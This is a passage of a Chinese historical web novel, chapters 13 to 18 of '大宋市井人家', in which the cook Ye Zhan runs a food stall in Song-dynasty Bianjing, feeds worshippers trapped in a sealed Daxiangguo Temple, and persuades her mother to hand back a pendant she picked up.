有了这样的黑历史,这赵家的妻子孩子都别想在邻里里抬起头来。 “那有如何?这事只有我和他娘知道,再说这还是他五岁时候的事,他要攒钱买宝剑,她娘将个独苗看得眼珠子一般,哪里舍得让他去舞刀弄枪?这才有了这事。”宓凤娘摆摆手,“哪个男儿家光屁股时不淘气?” “再说了!会藏钱说明他机智,懂得变通。这以后出息肯定不小!” “娘……”金哥儿拖长了声音表达不满,“明明您前几天不是这么说的?” 叶盏坚定拒绝:“等我赚够一千两银子,再考量成婚的事。” “一千两?”宓凤娘吸了口气,“乖乖,你倒要我的命还更容易些。” 叶盏果断祸水东引:“娘,家里我排行第四,您怎么就想起我了?”” “你大哥说起婚配扭头就走,你二哥一棍子打不出个屁来一声不吭。”宓凤娘苦无用武之地久矣,“你姐那个火爆脾气闻名整个坊,谁敢说她?” 小女儿又小,唯有叶盏长得好,性情温和,谁想到说起婚恋又油盐不进。 唉,廉颇老矣!宓凤娘哼了一句戏文,起身抱着酒葫芦惆怅独酌。 * 汤参军回家时看见裴昭还在翻阅卷宗。 旁边的同僚很为不屑:“陈年老案子都结案了,还有什么翻阅的必要?” 汤参军眼见要落钥,出口提醒:“小裴大人,别太晚。” 裴昭起身笑着应了一声。 可等诸人都归家他仍未回家,仍在翻阅卷宗直到深夜,等忙完后才发现同僚都已归家,只余一灯如豆。 他笑笑,淡然将案卷锁入柜中,这才唤小厮归家。 大斧和鸣镝一左一右,坐在车辕上护送少爷回家。 别看衙门无人寂寥,汴京城里可是热闹一片,夜晚的喧闹才刚开始呢:州桥夜市处灯红酒绿,晚风将游人的笑声吹得满城。 “少爷年纪轻轻,不喜欢灯红酒绿,却日夜守着案牍公文,好生寂寞。”大斧在旁开口。 “寂寞个头!”鸣镝白他一眼,“你不懂。” 大斧唱起了荒腔走板的戏文给少爷解闷。 鸣镝忽发奇想:“你说是像少爷这样正直到近乎迂腐好,还是圆滑油腔滑调好?” 大斧听不懂,倒是裴昭先被逗笑。 他看前面有一家小食摊,幌子在风中摇晃,那面条画得好,这才意识到自己肚子咕咕咕叫起来。 看了看夜里风凉,索性隔着车帘问:“来三碗面。” 老板从铜盂儿里倾一盏糖水给他:“已经收摊了,鱼排肉臊都没了,只剩下鱼汤和鱼片客人可要?” 喝完鱼汤也不错,裴昭点点头,对方就从盘里拿出最后半片鱼。 她一抬头裴昭这才看清楚对方长相:原来是个年轻姑娘。 她生得高挑身材,皮肤雪白,眉眼如画,一袭雪青色褙子搭配紫罗兰色旋裙,上身米黄色抹胸,看着恍若一枝紫丁香。 裴昭想起端午时去深山踏青,山涧幽深,闻得花香却不见花,忽然转弯,一方山坡处傲然一树紫丁香,繁花满树,不卑不亢矗立山野。 看见她鼻端似乎 13. 第 13 章 《大宋市井人家》全本免费阅读 粗面饼的馅料都是做饭剩下的边角料,什么炼猪油的油渣、煎鱼排掉落的碎鱼渣、做素面浇头剩下的香菇木耳边角,都被叶盏剁碎放入了大盆。 另外加红薯粉丝和一角豆腐剁碎, 再加了豆酱、韭菜末搅匀,包进了粗粮饼,在平底大铁锅上烙熟。 既节约了边角料,又能方便干活时吃,深受宓凤娘称赞。 一口咬下去,已经变得软软滑滑的粉丝浸染了肉香,满口流油,再仔细回味,煎鱼肉的鲜美、香菇木耳的山野气、猪肉油渣的脆响,混合起来一层层递进舌尖。 粗面饼是黑荞面磨成的面粉所做,平日里家里人也吃,很是粗粝划拉嗓子,不过叶盏的处理方式巧妙,反倒让这种粗粝成为了口感的一部分。 一口下去满满的粗粮麦香,让人仿佛置身于阳光下的麦垄。 玉姐儿吃了一个下去犹觉不足,伸了手想拿,看了看盘里只剩下一个了,手又缩回去,该给妹妹也留一个。 她是没拿,鼻子狠劲吸了吸肉饼香气,恋恋不舍盯着肉饼看了半天才把目光挪开。 裴昭勺子舀了一勺鱼汤吹吹,刚想送进嘴里,忽然听见一声尖锐的叫声。 随后有人大喊:“杀人了!出人命了!” 原本还和乐游玩的人群惊恐抬头,纷纷张望着消息来源,有些胆小谨慎的索性快步跑了起来。 裴昭放下勺,身形极快出了马车,站在车辕上往后眺望。 玉姐儿吓得小脸煞白,一把将盛粗面肉饼的盘子放入竹篮,再将摊子上贵重些的碗盘收进竹篮,一手挎竹篮一手拉妹妹:“哥哥们还没过来,咱俩拉不动太平车,不如先跑。” “不用跑。”裴昭从车辕上跳下,开口,“没有人持刀,不用慌张,你们倒是进旁边香药铺避避,免得人群慌乱踩踏。” 说罢就吩咐两位小厮:“走,去看看。” 大斧和鸣镝应了一声,将碗递还叶盏:“店家收好了。” “客人,您的饭还没吃呢!”叶盏看着那未动一下的鱼汤,探身喊人,“饭钱还给您。” “不用了。”大斧扬鞭,马车已经调转了方向,朝着声音喧哗处出发了,“我们少爷不是那等抠搜性子。” “真是个富贵人。”玉姐儿看着马车背影,嘀咕一声,又赶紧拉着妹妹躲避,“走,去避避。” 等到稍晚些,两位哥哥过来,七嘴八舌,叶盏才知道消息:原来前面花楼里有位烟花女子不幸去世,死法与前几个死者一样。 据说几位死者皆被割去一绺头发,现场遗留一枚犀牛角吊坠。 大家都推断是有位杀人狂魔,无差别杀害老弱,不管男女老少都不放过。 这件事惹得整个坊间惶恐,老弱出门都要家人护送才敢。城里一时萧条了几分。 但这一切都没影响宓凤娘要去大相国寺的决心。 “上回那几位差爷说旬日长公主要在大相国寺做法会感恩女儿回家,我们也去凑凑热闹。” 一来嘛感谢神佛们保佑女儿顺利归家,二来也可以顺便蹭蹭赏钱,听说届时长公主会派人遍撒铜钱呢。 为了确保能搭上长公主,宓凤娘还给女儿分配了任务:“做点点心,到时候我进献给长公主的奴婢,说不定还能得贵人征召呢。” 叶盏浑不在意,贵人们哪里是那么容易见的? 可宓凤娘有办法让女儿就范:“不然我就去寻赵家要碟笋肉馒头,赵夫人虽然是个耳根子软的随风草,但一手茶饭功夫也不错。只不过这人情累积得多了,到时候也不知道怎么还……”一边拖长了声音一边斜睨女儿神情。 这里说的馒头就是后世的包子。笋干被切得稀碎,混合在肉馅里,吃起来笋干脆脆的口感配上肉香,的确做得不错。 叶盏投降:“好好好,我来做便是。” 听闻民间说长公主是官家的胞姐,情分非比寻常,连她生的女儿都能破例封为县主,可见尊崇。 她们这样贵人什么山珍海味没见过?还会稀罕几道民间小菜? 叶盏想了想,决定做点糖果。 汴京城里好吃的糖果不少,但蛋白糖却没有。 先将蛋白分离出来,加入白糖,挤点酸橘汁去味。 里面加点红曲米磨成的粉,便成了可爱的粉红色;加点蝶豆花,变成了清新的蓝紫色;加点黄姜,便成了米黄色。 最后是搅打环节,大哥和二哥还有叶大富三人齐齐上阵,一起搅打。 打到胳膊抽筋,金哥哀嚎:“这到底是什么 14. 第 14 章 《大宋市井人家》全本免费阅读 大相国寺是汴京城中有名的寺庙,也是城中有名的交易地。 叶盏原以为也就是所谓的大相国寺万姓交易是老百姓在寺庙周围摆摆摊,真走到大相国寺门口就被惊得目瞪口呆。 最外层先是飞禽走兽,稀罕珍贵如孔雀山鸡、白雕海东青,亲民常见如喵喵叫的小猫、雪白红眼睛的白兔、吐着小粉舌头的狗崽。 等进了第二道门便是日用百货,什么镀金的屏风、睡觉的凉席、弓箭、五颜六色的果脯,只有你想不到的,没有买不到的。 走到佛殿跟前更是讶然,大殿走廊上都是小摊! 还打着五颜六色招牌:“孟家道冠”、“赵文秀家笔”、“王道人蜜煎”, 还有尼姑们围坐一圈,镇定自若卖珠翠头面、首饰帽子。 与其说是在寺庙周围做买卖,不如说整个寺庙除了大殿都是买卖场。 她娘给没见过世面的女儿指点:“门后还有摊贩呢,那里是卖书的,各路罢免官员家里抄没的土物香药都能买到,你若是想淘换各地的物产,去那里肯定能买到。” 叶盏瞠目结舌,随手抓住了路过一名小沙弥问话:“这位小师父,这寺里……怎么这么多卖东西的人?” “不怕扰了菩萨们清静吗?” 小沙弥笑眯眯,看了一眼六角窗棂内低眉慈目的菩萨神像:“菩萨看着百姓安乐,高兴还来不及呢。” 一扭头他就不见,留下叶盏若有所思。 “既然来了,我们先去上香吧。”宓凤娘拍拍衣袖里鼓囊囊的愿望清单,她从昨天就开始忙碌此事,怕自己忘了还特意央求赵小七给写了下来。 将担子暂放到寺庙门口,一家人轮流去上香。 宓凤娘所求甚多:“感谢佛祖保佑我家女儿平安归来,还请您多担待些,保佑他爹腰腿利索,保佑金哥少喝酒,保佑银哥儿救火时不出意外,保佑玉姐儿遇上的客人都是好脾性,保佑盏姐生意兴隆,保佑小女儿驱邪时莫被鬼上身……” 絮絮叨叨了半天还没许完愿。 叶璃无论如何都不进正殿:“我是跟了师父拜了萨满之神的,哪里能乱了信仰?” 被宓凤娘扯着耳朵进了殿逼她下跪请罪:“菩萨莫怪小女口出无状。多有冒犯,还请您老人家继续保佑她莫被鬼上身。” 叶璃(委屈巴巴):…… 檀香袅袅,佛音庄严,淡色的烟雾笼罩佛像高高在上,下面跪拜的汴京百姓虔诚叩首,寺里的钟声沉声响起,整座大殿都意气安详。 长公主仪仗还未到来,叶家人拜完后也不干等。 不便在佛祖跟前卖荤腥,叶盏将摊摆到了大相国寺外头一圈。 玉姐儿从昨夜就盯着那卤好的猪肘了,因此踊跃表示要帮叶盏摆摊,银哥儿是个老好人,自然要看护妹妹们周全。 叶大富背着自己一床单就能卷起的“古玩”摊去大相国寺内的二门出售,见女儿眉头微蹙,立刻保证“绝对不按古董价格卖,都按寻常器物卖。” 金哥儿早去回廊处看首饰头面了。 宓凤娘怕叶璃又去小摊买干蜘蛛蝙蝠爪,索性抓住了她一起去看五百罗汉并舍利。 今日长公主做了斋供,打开了资圣门,取出佛殿内的金铜铸造的五百尊罗汉并佛牙等物供奉。 两侧琉璃塔在阳光照射下熠熠生辉,五百罗汉全身镀金更是金光灿灿,惹得信众们更加虔诚祈祷。 叶盏收拾停当食摊,便添柴加火,加热浸泡好的卤汤。 玉姐儿翘首打量周围的竞争对手,有点担心:“我看市面上旁家食肆都好多浇头,早知道我们就多备些浇头了。” “不必,一来我们小本经营买不起那许多材料,二来如今天热浇头多了不好打理容易坏,反而坏了口碑,只几种美食做到极致便能给食客留下印象。”叶盏胸有成竹。 玉姐儿将信将疑,不过想到叶盏的本事,便也稍安勿躁。 卤汤渐热,酱色汤面“咕嘟咕嘟”冒起了小泡泡,浓郁的肉香随风飘散。 过往行人吸吸鼻子"好香啊!",不用招呼自然而然驻足食摊前:“老板,卖什么的?” “您看看,有汤面有炒面,可搭配鱼排臊子浇头、素什锦、红烧肉、卤肘子四种浇头,小菜有腌酸菜、芥辣瓜不要钱随便吃,您若是想单买,我们这里卤好的肘子、鸡杂、鸭货随便您挑,都是物美价廉童叟无欺!” 不愧是提篮叫卖的玉姐儿,几句话就将菜单介绍得清清楚楚,平日里都说她脾气暴躁,可这利落干脆劲儿叶家无人能及。 客人果然心动,有位刺青大汉开口:“我要锅里冒着香气的,做汤面吧。” “那是卤货,给您一个卤肘子浇头。”叶盏利落应了下来,问清楚他忌口后便在大锅里煮面。 玉姐儿则招呼客人先坐在旁边的小凳上,给他倒了茶水等候。同时热情招呼路过的行人:“素面五文钱!肉面七文钱!鱼面八文!卤肘子面九文!快来尝尝啊!” “炒面!炒面!满汴京城独一份的炒面!” 她果然很懂卖点,又是低价又是特色,吸引得客人一拨拨过来。 好在大锅可以同时煮好多,汤面的浇头又是固定的,叶盏煮好面后舀了一勺卤汤增香,又用铁钩从卤锅里勾出了一个大肘子。 肘子出水,红亮的卤汤被带起来,激发起更浓郁的香气,周围的人都凑了过来。 叶盏麻利将肘子扔到了案板上,“啪”一声,肘子外层的肉皮颤巍巍颤了几颤,稳稳当当在案板上躺着,一看就软滑富有弹性,惹得路人们咽了好几下口水。 叶盏拿起菜刀切了个缺口,随口轻轻一扯,那肘子肉就从骨头上分离下来,一看就炖得时间极久,都软烂了。 她把肘子肉甩平顺开切,手起刀落,几下功夫就切成了整齐的一块一块。 切开后,酒红色油亮亮的肥美肘皮、微微卷起的肉褶、内里沾染着酱色肉汁的瘦肉、雪白如和田玉的油脂…… 食客们眼睛齐齐一亮。 叶盏将肘子肉放入碗里,撒好香菜荆芥韭菜后给客人端过来:“好喽。” 那位刺青大汉在诸人羡慕的目光里得意用筷子夹起一块放进嘴里。 肘子肥皮外面裹着一层糊糊的卤汤,他先忍不住吸溜一口,把那卤汤吸进嘴里,“呲溜——” 真香啊,浓郁的卤料香气搭配着肘子肉的肥美,味美咸香, 肥肘子皮几乎是液体状的,滑溜溜,咀嚼起来毫不费力, 内里的瘦肉也不干柴,肥软多汁,另有风味。吃进嘴里软软糯糯的,几乎一嚼就烂,当真是不错。 15. 第 15 章 《大宋市井人家》全本免费阅读 等了一盏茶的功夫,长公主仪仗终于姗姗来迟。 先是街道司派出了十个小兵,手里拿着笤帚扫把,洒扫路面,还有专人在路面上洒水防止浮灰。 叶大富眼睛都看直了:“乖乖隆地咚,那洒水的水桶都是镀金纯银桶!”他若是有这么一个古董,那不得成为镇摊之宝? 之后便是一队公主府的部曲武士,个顶个的魁梧有力,头上还戴着考究的卷脚幞头。侍卫之后才是宫女,各个装扮华丽,头戴宫样绢花,罗娟的头面,红罗销金的锦袍霞帔,款款而行,像画里的人一样。 最后才是长公主,乘坐金铜檐子,上面嵌镶着铜质洒金的云凤花朵,珠帘垂坠,隐约看见一位檐中端坐一位中年美妇人。 “啧啧啧,这才是皇家公主的派头!”宓凤娘看得目不转睛。 长公主步辇直接进了大相国寺,围观看热闹得多,但追随过来倒不多,毕竟汴京是皇城根脚下,就连卖花阿婆一年都能见好几次官家皇后出巡,这长公主着实不算稀罕。 追随进去的就有宓凤娘两口子,女儿回来那天他们可是听说了:长公主看赏呢! 宓凤娘为了多帮手,连食摊上帮忙的玉姐儿和银哥都拉走了。 果然法会刚开始,就听一位侍者高喊:“长公主为迎县主归家,特布施银钱一百两!” 随后便有小侍童搬动檀木箩筐,里面金灿灿的铜钱在阳光下闪闪发光,宫娥们从箩筐里面大把抓出铜钱撒了出去。 一百两!那是什么概念?!干苦力一人辛辛苦苦能赚个一百文,一百两要不吃不喝赚个好几年! 宓凤娘一个眼风,叶家人立刻默契,纷纷上前大展拳脚开始抢钱:金哥往前一拱,占据有利地形,银哥儿后面殿后,叶璃从人缝里挤进去,把撒了铜钱的区域护得密不透风。 这时候叶家人多的优势就凸显出来了:叶大富机灵、金哥手快、叶璃灵活,一会功夫宓凤娘带来的钱袋子就装得盆满钵满,叶大富还解下了头巾当包袱皮。 捡啊捡,拿啊拿,直到确认地上再无铜钱,连地上的土堆都被叶家人翻了两遍,宓凤娘心满意足直起腰来去寻女儿。 虽然眼看女儿食摊上生意极好,宓凤娘还是忍不住嘀咕两句:“早知道这么多钱,就应当让盏姐也来捡钱。”毕竟这是白赚的钱呢! 她虽然没敢当众解开钱袋子细数,但粗略估计这回全家少说捡拾了十多两银子,那可是好大一笔进项呢! 她展平了衣襟,仔细嘱咐银哥儿看好钱袋子这去献点心。 长公主下榻歇息在宝梵塔院,宓凤娘蝎蝎螫螫走到院外,看见贵人仪仗气派逼人,院门口还有铁甲卫士守护,一时不敢进去。 “何事?!”一位侍卫厉声呵斥。 宓凤娘换上笑脸行了个礼,又递过去一把碎铜子:“这位大官人,我家女儿跟县主是被同一个人贩捉走,多亏长公主派人查访我家才能骨肉团圆,因此特地做了一些点心来答谢长公主。” 伸手不打笑脸人,那侍卫脸色和缓了不少:“既然如此,你等我去通禀,铜钱不要你的。” 若是旁事他必不会通融,只不过涉及人贩同案免不了要少报,长公主府上下谁不知前些日子长公主行思做卧都是此事? 侍卫寻到了长公主身边一位管事宫女回禀了这事。 也是宓凤娘运气好,管事宫女思忖:“今日长公主来寺庙集福行善,这件事却正好是长公主行善积德的一桩功德,不如报给她听,让她高兴高兴。” 于是便叫小丫鬟去问宓凤娘,见她衣饰看着也像本分人家,又盘问她何坊何巷,问清楚姓名,再盘问她女儿姓名来历。 问清楚这些话后又使唤小厮去炭场巷寻里正,里正气喘吁吁来大相国寺亲眼证实了确有此事。 管事宫女这才点点头,宣召宓凤娘在外院侧配殿见面。只不过她手里有事,还让宓凤娘再等。 “好生折腾,等得我苦也!”宓凤娘在树荫下等得汗流浃背,看这一番折腾才明白叶盏不让她去进献点心的原因。 原来贵人们行事这么谨慎,一件小事就能让小百姓视为权威的里正来回跑腿。 宓凤娘心里盘算,今天回去后要给里正拎点点心赔罪,还得跟他夸大下自己跟长公主的关系,否则里正作为市井直接管理者,得罪了他可没有好果子吃。 好容易进了偏殿见了管事宫女,对方查看了点心,倒很意外:“没想到你们山野人家能做出这等精致吃食。我都不曾见过。” 宓凤娘赔笑:“我那女儿手巧,被拐后在杜家,也算是个官宦人家。”又吹了一下杜家的官职。 宫女听完后很和气:“既然你感念长公主,容我去向上面禀告一回。”她拿了点心便出去,叫宓凤娘在禅房继续等 原来她还不是长公主身边亲信!宓凤娘傻眼,却还要赔笑:“劳烦您辛苦则个。” 她四下打量,原本简陋朴素的禅房因着长公主暂歇也大为变样: 地上铺了长过脚背的波斯地毯,上面藤蔓缠绕应当是西域纹路,墙上挂了古色古香山水花鸟挂画,檀香木几上放一堆清供,佛手瓜和珊瑚摆件放在一起,香味幽幽。 低头喝一口茶水,咸香,里面的果仁茶料都放得十足,滋味也醇厚香甜。 好在这回速度快,没多久那宫女就来回信:“长公主看着点心精致,心情大好,说你不用记挂,她督促办案也是顺手而为,难得的是你们骨肉团圆。她和县主母女情深,能明白天下做母亲的心,再者,你若是有心,日后在佛前多念叨长公主的好便是。” 又拿了一个红木食盒:“咱们也不白拿你的,长公主说这一盘是内造点心,不算可口,图个吉利花样。你拿回家摆在堂屋也算是个摆设。” 宓凤娘一叠声应下,频频点头,没好意思说自己家没有堂屋。 她接过食盒却不拿走,先弯腰给宫女行礼:“多亏您从中周旋,这盘点心我孝敬给您。” 宫 16. 第 16 章 《大宋市井人家》全本免费阅读 叶盏食摊上生意出奇得好,只一会功夫食摊上的东西卖得七七八八,只余了一些汤汤水水。 玉姐儿砸吧下嘴:“二妹,我看红烧肉和卤肉还剩了些碎末,还卖吗?” “不卖了。”叶盏抿嘴笑,“回家后我加点素菜卤过,做成盖浇饭,厚厚的淋了卤汤和肉末,让娘送给邻居做谢礼。” “什么?!”又是没听过的“盖浇饭”,又是厚厚浇一层卤肉末,听着就让玉姐儿流口水,没想到居然要送出去? 玉姐儿刚才还灵动的眉毛一下就耷拉下来了。 可一挑眉看见妹妹在笑,便知道她在逗自己玩:“好啊,你也变成个江湖油子了。” 两姐妹正在玩闹,就听见一阵喧哗,抬头看见佛寺门口一堆衙差正搬运门禁:“里面丢了财物,正在找寻,现在开始不许出去。” 里头还没出来的香客有人甚为不满,搬出挡箭牌:“我是陈相公府上二少爷的奶娘,你敢拦着?” 衙差冷面无情,呲了一下牙似乎在嘲笑她:“别说奶娘,就是二少爷、陈相公本人来都用,长公主那么金尊玉贵,都没说什么,你算个逑。” 叶盏和叶玉对视一眼。 “娘还在里面呢!” 眼看着佛寺要封闭,娘一个人进了佛寺,若是出什么岔子可如何是好? “不许再出去了!”衙差们厉声呵斥还不死心的香客,木栅栏被搬运过来,隔在了门口,眼看寺庙大门就要关闭。 叶盏灵机一动,闪身一躲就进了寺庙。 “喂!你!”那衙差大喊,可仔细一想不让出没说不让进。 “官爷行行好,我娘在里头,我去照看她。”叶盏赶紧跟衙差求情。 那人想了想没违规,便挥挥手没理会她。 “二妹!”眼看兄妹几个都要跟着进来,叶盏忙吩咐他们:“我一人仅够用了,你们在外面帮忙接应。” 玉姐儿驻足,是这么个道理:“我去寻他们商量。” 叶盏穿过熙熙攘攘的香客,寻找宓凤娘的身影。 大相国寺那些买卖东西的小贩已经被尽数驱逐到周围塔院,难得整个走廊变得安静,她走得又急又快,很快就找到了宓凤娘。 “娘!” 宓凤娘倒很从容,丝毫没有被关起来的狼狈,相反容光焕发,春风拂面。 “你怎么来了?” “我担心您,进来看看。” 宓凤娘摆摆手:“没事没事。一会把我们放出去就行。” 又笑眯眯从怀里数出几个钱递给叶盏:“二姐儿,一会放出去拿钱给娘打壶酒,要樊楼产的玉林春。” 宓凤娘没什么别的爱好,喝酒是一绝。可从来都只舍得喝最便宜的散装混酒,都是巷口脚店自己酿的浑浊低度酒,怎么忽然转了性? 叶盏微微蹙眉,有点纳闷。 衙差们呼喊众人,将大家聚集到一处闲置的塔院。 这塔院应当是先检查过,随后有侍卫守在门口,一个接一个检查无误后才让进院。 叶盏有点奇怪,说是丢了宝物,难道不应该搜身吗?怎么看脸就行? 叶盏和宓凤娘进了智海塔院院门,有人招呼她:“叶盏,来这里坐。” ! 是相熟的人,名唤蓬蕊。 叶盏回身跟酿解释:“当时我被衙差带到衙门里对照姓名确认拐子相貌,当时遇到的她,她与我一样,也被卖到大户人家作婢女。” 宓凤娘一听这个眼眶都红了,拉着蓬蕊的手不放:“好孩子,你们受苦了。” 叶盏再看蓬蕊的装束却有些纳闷,怎么梳着妇人头? 不过她没有出声,只笑着聊天,人在世上,谁没有些说不出口的苦衷呢。 “咦,官爷,您怎么也在这?”宓凤娘先开口。 叶盏随着亲娘的目光望过去,看到了一位官差。神采奕奕,修身劲腰长腿。似乎有点脸熟? 见女儿疑惑,宓凤娘解释:“这是当初送你来的那位官差。” 哦,叶盏想起了在巷口观望的那个金吾卫,冲官差礼貌点点头。 裴昭微微颔首,转过头去清点人数,他目光如炬,一一扫视过庭院中滞留的香客,确认没问题后才点头。 裴昭身边小厮倒活跃:“这么巧,原来上次那个鱼汤也是你家的。” 说起鱼汤叶盏就想起来了,上次这金吾卫还来自己食肆喝过鱼汤,她笑笑,原来是食客。 宓凤娘天生爱交际,这点关系就能让她攀附上去:“官爷,您知道我们家的,都是本分百姓,跟偷盗扯不上关系,不如您开口让我们走?” 裴昭神色和煦,态度礼貌,说出的话却冷冰:“夫人见谅,公务所在,不能通融。” 宓凤娘受挫也不改笑颜:“我懂我懂,您这是铁面无私。” 裴昭点点头,率领手下离去。 大相国寺上下好几个塔院,再有若干佛殿,好在衙差人手尚足,听说征用了街道司士兵,长公主还派了自己的部分部曲过去帮忙,因此其他人只要安心等着便是。 宓凤娘因着跟裴昭搭过话自觉有面子许多,在看门的衙差那里也得了优待,又跟周围的人吹牛:“那位大人可是老熟人,上次到过我家里……” 虚虚实实,叶盏无奈,见亲娘那眉飞色舞的样子又觉狐疑。 她小心把娘扯到一边,小声问她:“娘,那丢失的宝物不会是您偷的吧?” “怎么可能?”宓凤娘差点跳将起来,“你娘我是那种人?” 看叶盏的神情,宓凤娘摆摆手:“老娘我哪里会偷?”最多坑蒙拐骗,贪贪小便宜罢了。 母女俩正对峙,就听得外头有个侍卫喊:“可找到你了。” 宓凤娘吓得肩头一缩,浑身抖得筛糠一般。 回过头却是长公主府院门拦着她的侍卫,脸上还有笑意:“你算是走了狗屎运了,长公主闲着无聊,找你去说说话解解闷。” 原来裴昭求见长公主说了这封闭大相国寺抓嫌犯的事,长公主非但欣然同意还派了几名自己的侍卫增援。 只不过现在不能去大殿,她闲坐在厢房难免无聊。又因为是去佛教清净地, 17. 第 17 章 《大宋市井人家》全本免费阅读 大相国寺的厨房又大又宽敞,那位知事僧指着一间给她们:“这就是两位香客做菜的地方,多谢帮忙。”还给她们道谢。 旁边的厨房里有小沙弥在忙,想必是为着男女有别的缘故,将叶盏她们放在了远远角落一间灶房。 叶盏检查一下,内里灶具俱全,不愧是大相国寺,各色调料齐全堪比自己穿越前工作的五星级酒店,便点点头:“您放心就是。” 说完后她随手拿起案板上的萝卜开始削皮,转动一圈,长方形的萝卜皮掉了下来,完完整整。 知事僧便知道这位香客并没有说大话,便道谢:“一共有一百多香客,劳烦您了。”主持说了,他们寺里僧人胡乱煮大锅菜充饥便是,但不可怠慢香客。 叶盏手脚麻利,蓬蕊也是个好帮手,将粟米倒入铁盆淘洗,准备蒸煮米饭。 萝卜切成圆柱体,满满一大盆,焯水去味后放入浓酱烹煮,小火慢炖,要的是慢慢炖得烂熟。 叶盏看有豆芽,便决定再做一道抓炒素虾仁, 这道菜是将黄豆芽掐头去尾,裹上面粉和淀粉混合成的面糊,再下锅油炸, 看着面粉糊已经变成淡淡褐黄色之后立刻从油锅捞出, 再调制酱汁,将酱油和糖等调料混合成芡汁。 起锅烧热后倒入芡汁,看着已经透出香气后倒入油炸好的素虾仁。 最后淋上香菜油便是。 知事僧看着外面天色有些焦灼,侍卫们还在逐一排查,被关在塔院里的香客们一开始好奇还算配合,如今却开始渐渐不耐烦起来,各个问:“何事才能结束?”、“我腹中空空,总不能饿死我吧?” 若是能在现在发放饭食就好了…… 也不知道他往厨房里跑了多少趟,终于听到叶盏宣布:“开饭了!” 知事僧喜出望外,主动上前:“我来端菜。” 一盘盘端出来,香气惹得旁边灶房里的小沙弥们纷纷探头:“好香!好看!” 红烧面筋红汪汪油亮亮的酱汁在阳光下透着亮;糖厚蛋烧蓬蓬松松,米黄色小方块看着就稀奇;香辣烤蘑菇外面一层金黄色的面衣,一股子孜然味。 有位打头的小沙弥开口:“知事,商量则个,将我们做的大锅菜匀几盘给香客们、再将这菜匀点给我们可好?” 知事僧看了看手里的盘子,冷面无私:“不可。”出家人讲究心志坚定,怎么可以垂涎美食? 倒是叶盏在屋里打圆场:“我做了许多,多出来的给诸位师傅们便是。” 叶盏一发话,几位小沙弥吓得又缩回灶房,不过听说有得吃,又高兴得手舞足蹈。 叶盏端着饭菜往回走,她原本想借着四处走动的机会寻找宓凤娘,可看来看去只见空荡荡的寺庙,原本熙熙攘攘的人群不见,只有门口等位置有侍卫把守。 想去长公主所在处看看,谁知一开口就被知事僧驳回:“长公主自有厨子做饭,我们不便过去打扰。” 叶盏只好作罢。 终于开饭了。 原本躁动不安的香客们也渐渐安静下来,天大的事先吃饭再说。 每人一碗粟米杂粮饭,蒸煮时间到位,米粒颗颗分明,散发着朴素的香气。 菜肴则是分装在大盆里,由自己去打饭。 一看卖相不错,闻着也香。 香客们都饿了,赶紧先吃为敬。 一吃就发现今天的素斋真不错: 炸豆皮,是将油豆皮加五香粉、酱油等腌制入味后,再捆绑成结后油炸,裹上芝麻。 吃起来芝麻粒直蹦,五香的气息袭来。 还有这抓炒素虾仁,瞧着是普通的黄豆芽,咬开焦脆面衣后里面的豆芽又嫩又香,说叫素虾仁,滋味与普通虾仁还真差不离。 糖厚蛋烧又松又软,在嘴里化掉几乎尝不到任何渣滓,满口微甜, 偏偏配料是咸口的酱油,原本以为味道会很怪异, 可是蘸一下尝一口,蘸料让厚蛋烧更加清甜,而且调节了单调的甜,让整道菜滋味更加复合。 红烧面筋咬开油亮的红烧汁,下面的面筋富有嚼劲,一咀嚼满口红烧汁,让人忍不住赶紧就一口粟米饭。 香辣烤蘑菇应当是蘑菇裹上面粉后干炸,没有半点水分,咬开外面脆脆的面壳内里便是软软的蘑菇,面衣加了孜然、花椒盐等各色滋味,跟吃烤肉没有两样。 酱炖萝卜根,则是小火慢炖,萝卜吸满了浓酱汤汁,十分入味。 香客们原本没把这顿饭当回事,却没想到有意外之喜,各个添了饭,吃得眉飞色舞。 叶盏则有些心不在焉,宓凤娘难道真偷了财物? 可她明明说了没偷,而且衙差们并未搜身,可见丢财物只是个幌子, 她思来想去只好安慰自己,娘如今去了长公主那里,总归有长公主部曲守护,衙差们想捉也捉不到。 还是蓬蕊盛了半碗饭给她:“也不知道要封要什么时候,好歹吃一点。” 叶盏感激冲她笑笑,接过了饭碗。 香客们很快就吃完了饭食,纷纷称赞叶盏:“小娘子整治得一手好茶饭。”来打听叶盏家食肆在何处。 叶盏也不谦虚:“我家在州桥夜市上第三孔桥那里,叶家二姐炒面便是,全汴京城只有我家会炒面,还请诸位多多捧场。” 还有香客好奇问她:“小娘子,我看外头好多素食都会做成仿肉,你若是做成那样更增添几分趣味。” 叶盏摇摇头:“我也会做那种,好比用油豆皮做成鸟雀模样、用琼脂充当鱼翅、将藕切成肋条骨从切块豆腐卷里穿过模仿排骨。” 香客们听得啧啧称奇。 “我虽然也会做,但觉得既然有心做素斋,不如不仿,骗了嘴也骗不了心,既然虔诚向善,那就舍弃伪善。因此才没有做成仿肉的样式。” 一番话说得香客们心服口服。 就连不懂事的小沙弥们都在惋惜,这位施主做得菜滋味甚好,可惜是位女施主,不便雇来在寺里厨房帮忙。 不过转念一想,修行本就是苦身炼心之旅, 18. 第 18 章 《大宋市井人家》全本免费阅读 宓凤娘站住,目光环顾四周,神色不大自然。 “娘,”叶盏一眼就瞧出了不对劲,“这么多衙差出动,连长公主都派了部曲,可见不是小事,您若是与这事有牵连,那些衙差们找上门来……” 宓凤娘原想将那吊坠偷偷藏在自家尿壶,等几天悄悄去衙门探听,要是那大食商人已经归案再卖出去落袋为安。 可如今女儿提醒,让她一时心里不安。 目光茫然扫视,大殿廊侧画着佛降九曜鬼百戏的图案,栩栩如生。 那鬼怪张牙舞爪让她唬了一跳,宓凤娘一咬牙说出了真相:“我第一回从长公主那里出来,撞到了个大食人,他落下了一个象牙吊坠……” 剩下的话不用说了,叶盏了然,不过她还有疑问:“官府抓捕的嫌犯就是那个大食人吗?” “那我记不大清了……”宓凤娘歪头回忆,“嫌犯的确朝我这边扑了过来……”当时她以为是嫌犯走投无路想要找个人质,却没想到那人是失主。 如果他是失主,那他岂不是来追讨吊坠?要是自己身边没有长公主府的侍卫,那岂不是已经成为了刀下亡魂?…… 再说抓捕那大食人惊动了这许多侍卫,说明他至少是名江洋大盗,万一他逃脱来寻仇呢…… 宓凤娘越想越后怕,手都抖了起来:“儿,这可如何是好……”声音带了一丝哭腔。 还是叶盏扶住了她:“我们去寻衙差归还。” 她记得今日娘打过招呼的那位大人,看穿着非富即贵,气质也有些正直,就赌一把他不会贪墨财物。 衙差们已经捆住了大食人,给他手脚捆绑麻绳,将他押送往牢里。 